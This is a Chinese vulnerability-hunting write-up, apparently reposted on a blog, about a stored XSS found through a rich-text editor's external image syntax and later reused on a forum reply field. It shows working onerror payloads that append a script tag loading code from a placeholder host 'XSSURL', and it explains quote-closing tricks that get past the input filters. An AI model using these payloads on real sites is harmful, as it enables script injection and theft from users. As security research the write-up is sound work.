• 图片引用功能导致的XSS漏洞


     原文出处:漏洞挖掘 | 一处图片引用功能导致的XSS - 腾讯云开发者社区-腾讯云 (tencent.com)

    初步测试

    一开始尝试XSS,发现程序有过滤,提交均显示Tags are not permitted,最后测出来的是过滤 < ,不过滤 >

    因为提示速度比较快,猜测前端有一层检测。尝试绕过前端检测,burp拦截正常提交的内容,替换xss payload后发送,发现会自动跳转回首页,由此发现程序后端也有内容检测,这里直接xss暂时行不通。

    查看编辑器的其他功能:

    图片上传: 可上传aspx(其他可能解析后缀均已尝试),不能解析并跳转至首页。 可上传html并解析,这种方式构造的xss通常需要主动攻击,且攻击时易被管理员察觉到异常,暂不考虑。

    表情功能:没什么可利用的。

    柳暗花明又一村

    当看到编辑器提示的 img 外部图片引用方式时引起了我的注意,这里感觉可以操作一下:

    正常测试

    先来看下正常引用方式时前端的显示,链接被带入到src中(logo前文字涉及域名,打码):

    [img|XSSURL|xxxxx Logo]

    带入payload

    把xss payload 放在链接的位置再看一下:

    1. 常规的payload:
    2. <img src=x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>
    3. 构造的payload:
    4. [img|x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|xxxxx Logo]

     提交后审查元素发现为如下显示:

    尝试闭合

    尝试闭合 x 处的双引号,让 onerror 逃逸出来

    [img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|hello]

    这里提交后发现payload并没有执行成功,仔细看发现程序输出时分别在 οnerrοr= 和 ; 后面加了双引号。

    闭合成功

    直接给个 > 让它闭合,虽然成功加载了,但是页面显示会有错误,这样十分容易被发现倪端,不够完美。

    [img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>|hello]

    换个思路通过闭合掉 ; 后面的双引号,显示效果如下:

    [img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';"|hello]

    最终在没有任何错误内容显示的情况下成功执行了xss payload:

    看到这里可能有人就会想,这种案例触发的xss是不是很少存在,因为毕竟不是每个编辑器都用这种图片外链引用方式,那么请继续看下面。

    灵活运用

    这几天在搞一个gangdu的论坛,在回复功能处,又遇到了同样的问题。

    本来这个功能应该只能放图片链接的,但是这里插入的链接格式和内容并没有做校验。

    x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';

    这里直接把payload放进去,看下前端显示 

    同样的思路,这里直接闭合就好了

    x" onerror="s=createElement('script');body.appendChild(s);s.src='XSSURL';

     成功加载payload

  • 相关阅读:
    (二)Java 线程
    Mysql-数据丢失,分析binlog日志文件
    IDEA如何导入jar包
    央企招聘:正式编制!八险三金!各项福利!中国邮政招人啦!
    相关性分析-Pearson, Spearman, Kendall 三大相关系数+绘制热力图
    JAVA计算机毕业设计兴澜幼儿园管理系统Mybatis+源码+数据库+lw文档+系统+调试部署
    Vue3+ts -01
    MySQL-锁分类-1
    uni-app vue3+ts+vite采坑说明
    java计算机毕业设计学生协会管理系统MyBatis+系统+LW文档+源码+调试部署
  • 原文地址:https://blog.csdn.net/weixin_57567655/article/details/127113249